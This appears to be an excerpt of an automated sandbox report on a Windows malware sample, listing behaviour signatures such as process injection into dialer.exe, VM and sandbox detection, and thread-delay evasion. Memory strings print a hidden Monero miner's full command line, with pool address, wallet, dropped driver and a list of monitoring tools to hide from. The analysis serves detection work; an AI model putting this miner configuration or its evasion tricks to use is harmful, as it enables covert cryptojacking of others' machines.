Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dialer.exe	Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,		25_2_00000001400010C0
Source: C:\Windows\System32\dialer.exe	Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,		62_2_00000001400010C0

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\dialer.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: dialer.exe, 00000041.00000003.2138683912.000001C377300000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000041.00000003.2138482082.000001C3772F2000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000041.00000002.3283235144.000001C3772F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: dialer.exe, 00000041.00000002.3283235144.000001C377265000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --ALGO=RX/0 --URL=POOL.SUPPORTXMR.COM:80 --USER="46M39DM1DQJFKUNT3T2KIHNU6QQJMRF79J31FSBTBNAFUX9B2GAWYSJLFADQ5MHQR4M6C8JJRFXWLPXDHAPUCRHE3MRBJTW" --PASS="ULTIMA" --CPU-MAX-THREADS-HINT=20 --CINIT-WINRING="YYCJBDWXJAOE.SYS" --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-STEALTH-FULLSCREEN --CINIT-VERSION="3.4.0" --CINIT-IDLE-WAIT=10 --CINIT-IDLE-CPU=80 --CINIT-ID="IKZKMIIBPWTVHLGB"
Source: dialer.exe, 00000041.00000002.3283235144.000001C377265000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --ALGO=RX/0 --URL=POOL.SUPPORTXMR.COM:80 --USER="46M39DM1DQJFKUNT3T2KIHNU6QQJMRF79J31FSBTBNAFUX9B2GAWYSJLFADQ5MHQR4M6C8JJRFXWLPXDHAPUCRHE3MRBJTW" --PASS="ULTIMA" --CPU-MAX-THREADS-HINT=20 --CINIT-WINRING="YYCJBDWXJAOE.SYS" --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-STEALTH-FULLSCREEN --CINIT-VERSION="3.4.0" --CINIT-IDLE-WAIT=10 --CINIT-IDLE-CPU=80 --CINIT-ID="IKZKMIIBPWTVHLGB";;
Source: dialer.exe, 00000041.00000002.3283235144.000001C377265000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
Source: dialer.exe, 00000041.00000002.3283235144.000001C377265000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE]
Source: dialer.exe, 00000041.00000003.2138683912.000001C377305000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000041.00000003.2138756594.000001C37730D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE=
Source: dialer.exe, 00000041.00000002.3283235144.000001C377265000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000041.00000003.2138683912.000001C377305000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000041.00000002.3283235144.000001C3772F2000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000041.00000003.2138756594.000001C37730D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
Source: dialer.exe, 00000041.00000002.3283235144.000001C377265000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DIALER.EXE--ALGO=RX/0--URL=POOL.SUPPORTXMR.COM:80--USER=46M39DM1DQJFKUNT3T2KIHNU6QQJMRF79J31FSBTBNAFUX9B2GAWYSJLFADQ5MHQR4M6C8JJRFXWLPXDHAPUCRHE3MRBJTW--PASS=ULTIMA--CPU-MAX-THREADS-HINT=20--CINIT-WINRING=YYCJBDWXJAOE.SYS--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE--CINIT-STEALTH-FULLSCREEN--CINIT-VERSION=3.4.0--CINIT-IDLE-WAIT=10--CINIT-IDLE-CPU=80--CINIT-ID=IKZKMIIBPWTVHLGB1
Source: dialer.exe, 00000041.00000002.3283235144.000001C377265000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXET

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5522	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4342	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 7808	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 2191	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7186
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2238
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9909
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9869
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 1815

Source: C:\ProgramData\Screenshots\Lightshot.exe

Dropped PE file which has not been started: C:\Windows\Temp\yycjbdwxjaoe.sys

Jump to dropped file

Source: C:\Windows\System32\svchost.exe

Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

graph_40-14927

Source: C:\Windows\System32\dialer.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_25-480

Source: C:\Users\user\Desktop\nW2oopMIdg.exe	API coverage: 8.3 %
Source: C:\ProgramData\Screenshots\Lightshot.exe	API coverage: 8.3 %
Source: C:\Windows\System32\lsass.exe	API coverage: 8.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\dialer.exe	API coverage: 1.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.8 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 7.1 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2796	Thread sleep count: 5522 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2992	Thread sleep count: 4342 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3224	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dialer.exe TID: 6204	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 6632	Thread sleep count: 7808 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 6632	Thread sleep time: -7808000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 6632	Thread sleep count: 2191 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 6632	Thread sleep time: -2191000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3092	Thread sleep count: 7186 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3092	Thread sleep count: 2238 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3440	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 5968	Thread sleep count: 9909 > 30
Source: C:\Windows\System32\lsass.exe TID: 5968	Thread sleep time: -9909000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5616	Thread sleep count: 246 > 30
Source: C:\Windows\System32\svchost.exe TID: 5616	Thread sleep time: -246000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 1852	Thread sleep count: 9869 > 30
Source: C:\Windows\System32\dwm.exe TID: 1852	Thread sleep time: -9869000s >= -30000s
Source: C:\Windows\System32\dialer.exe TID: 1576	Thread sleep count: 1815 > 30
Source: C:\Windows\System32\dialer.exe TID: 1576	Thread sleep time: -181500s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2228	Thread sleep count: 250 > 30
Source: C:\Windows\System32\svchost.exe TID: 2228	Thread sleep time: -250000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3840	Thread sleep count: 250 > 30
Source: C:\Windows\System32\svchost.exe TID: 3840	Thread sleep time: -250000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6616	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 6616	Thread sleep time: -251000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5456	Thread sleep count: 250 > 30
Source: C:\Windows\System32\svchost.exe TID: 5456	Thread sleep time: -250000s >= -30000s

Source: C:\Windows\System32\dialer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E85898DCE0 FindFirstFileExW,	31_2_000001E85898DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 39_2_00000140AE86DCE0 FindFirstFileExW,	39_2_00000140AE86DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5CDCE0 FindFirstFileExW,	40_2_00000195DD5CDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CA4DCE0 FindFirstFileExW,	41_2_000001160CA4DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10ADCE0 FindFirstFileExW,	66_2_00000257E10ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C93DCE0 FindFirstFileExW,	67_2_000001F28C93DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA9854DCE0 FindFirstFileExW,	68_2_000001CA9854DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D26531DCE0 FindFirstFileExW,	69_2_000001D26531DCE0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: lsass.exe, 00000027.00000002.3283620680.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: dialer.exe, 00000041.00000002.3283235144.000001C377280000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW7
Source: dialer.exe, 00000040.00000002.3280436874.0000017C0CC30000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: "NAy0{ht\|GmYv;Yv&\z`yf`2{h0\|3JAP[nX*[Csk9xUUPdBmsAEBO'`NK[YwmVL@dECrcyjxc\|wGn~k}yc_BqA(k:F1"2?=n/vmCI^Hj_nX?Dx~#YBS/bASD
Source: dialer.exe, 00000040.00000002.3280436874.0000017C0CC30000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: _E(;`o1=_Un[=qRa!%^LCS3KoB~d9Ar/W[(cIjxxiWfzo_@$}?rna[.KDc`Z{>Xquh^b~zQ@52IFvovMCIU?!J9kie?cc[B A?iFficLJKgg~=/
Source: lsass.exe, 00000027.00000002.3283620680.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: dialer.exe, 00000040.00000002.3280436874.0000017C0CC30000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 3Qg+@y9[b_E?a_pEpVkIzd1<PHza&Fc^S.QV@3ky2wVBDPbgr]FZPrlyH8rgof[}lN\|ZUe`eLJn\|qdYmYN\&zo~va?w%&_\|ppM=Jz5c>dO3z]y[`9\|=#}IZDD?7f{@cB{R]c)xj{9dPgl&\|bhMN\|@Xye8>-K:%c#_tdapBpgbFf>SrzCYS{#\|r1auX3H{%YCD"Y/v`9vNT\|^SsYAr{[zw=`x>S=&%\|F@(ifZQ`>VGrz0{MXhY?q}FG8NUL=NPa&LX@TCDF<AKii:yvs:)Q`cY=ZO"Xaa~s$S,'<zxmya<@yA~<gLtYGxtKnB>HgFsFV_Rqz{1Eaw`lE<c$l(p%Lxp_RAPaZ 8liiAt}7]TY?UIDPc]i)d% u=VUE;aX@XnFjxx@5le2kxcMyp]otRPVVA>LH3a"yaMoi<a@vEgY;V\|q%cQ9B\as1J}9&Xgof^vlSFa{6?#C5lC9@/}G_kcnn`=NILaSZAN[)e\|}v\|'tkO
Source: dialer.exe, 00000040.00000002.3280436874.0000017C0CC30000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: LwX<m=KcPysmP1DqVmciT?uHP`UbgXM'\|oG8EHAi\|r#'y5YGpx{h1Hc`z"Ex\|y\^C.dmDw:{l%EvAqYyOC:>Qg1}Adv?x^yuNELySH7CmvoYfV\xkVOxO[Mj[vSn@`oyJyZmQCAxov{U@Y9QsiOmrZ[[dPTzAno"U5K;JeDg]z#l%Mn [XR}A9A:EBcDXPaAi78IlIgoBrYlh(}\mry[HKuOHf<]cKY`AEKCiclhCN{YGjj8TWyjQck]o{VsFtX#u2q8YwWw?RZG8P08zY8Jk"nhDCby@wCq
Source: dialer.exe, 00000040.00000002.3280436874.0000017C0CC30000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: MP^1J^bijiXU}bRWCW\|SG^z]v90[%?LcJ]{9\|HgfSf&fd"_{8Y-INaF4)J?Ru]GrMJPP:IMjciXayz9vjdKyN>QnZf~<&v2cDWUS8Y6<Hdj b$knoFlmFiqHe8LU.FlnJURBD?kWf
Source: svchost.exe, 00000028.00000003.2351763230.00000195DD66A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: dialer.exe, 00000041.00000002.3283235144.000001C377280000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: dialer.exe, 00000041.00000002.3283235144.000001C377229000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW \(w
Source: svchost.exe, 00000044.00000002.3280283271.000001CA97800000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: lsass.exe, 00000027.00000002.3283620680.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: dialer.exe, 00000040.00000002.3280436874.0000017C0CC30000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Uc8w[ncYRpnosipO.~YeN1B\_V#SM<}(X\|JfN6vK$<"PQKYR1{88CKeyb]{FoZb\|Fk9K{3d?/V @p9W@0M`Zeh7[[DFgs[A+RgV2DhvG{/gN5[KC1oFpdvZ\%[f%C>}VJ?=Mte{{"\|m>}QJCWlzQ<3@>fc-_jp%Wluh\|0DSTZ?HI>\Ik`<D?68KySG<izpZLN<FxK}Fg]y;Bd}]3aaG;1[bVMCIc\P}kaNmezyJTrY!xQqNGdTwuHF$[Si+Z$}18kTl1=KCXEXm'\|Jr?fpXEbb&VvlBc!RPcel^NjhGb\|nj}Gl*ak9{AwmS{Zy10r\|9'DQUTM&ECP^KqQ}0pYgEvWDU{eR`f`sWNMiTL>
Source: dwm.exe, 00000029.00000002.3298424961.0000011607ED0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: PointVMware&P
Source: dwm.exe, 00000029.00000002.3298424961.0000011607ED0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000=
Source: lsass.exe, 00000027.00000002.3282721187.00000140AD813000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000027.00000000.2075994281.00000140AD813000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000000.2080553669.00000195DD613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.3282343059.00000195DD613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000043.00000002.3294606031.000001F28C22B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000043.00000000.2110935253.000001F28C22B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000044.00000000.2113125759.000001CA9782A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000044.00000002.3280647396.000001CA9782A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: dwm.exe, 00000029.00000002.3298424961.0000011607ED0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000

Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node	graph_25-413
Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node	graph_62-477
Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node	graph_65-91

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\winlogon.exe

